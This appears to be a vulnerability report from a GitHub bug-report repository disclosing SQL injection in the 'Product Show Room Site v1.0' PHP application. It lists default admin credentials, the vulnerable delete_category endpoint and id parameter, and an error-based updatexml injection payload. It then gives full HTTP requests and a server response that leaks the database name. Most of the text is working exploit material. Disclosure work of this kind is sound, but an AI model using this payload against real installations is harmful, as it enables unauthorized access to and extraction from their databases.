

main

...

bug_report / vendors / oretnom23 / product-show-room-site / SQLi-3.md



debug601 Update SQLi-3.md

History

1 contributor

31 lines (22 sloc) | 1.13 KB

...

Product Show Room Site v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html>

Vulnerability File: /psrs/classes/Master.php?f=delete_category

Vulnerability location: /psrs/classes/Master.php?f=delete_category, id

Current database name: psrs_db ,length is 7

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /psrs/classes/Master.php?f=delete_category HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprl14jr1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

```
POST
/psrs/classes/Master.php?f=delete_category HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprl14jr1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
```

```
id=1' and
updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+
```

```
HTTP/1.1 200 OK
Date: Fri, 03 Jun 2022 09:21:33 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"failed","error":"XPath syntax error: '~psrs_db~'}
```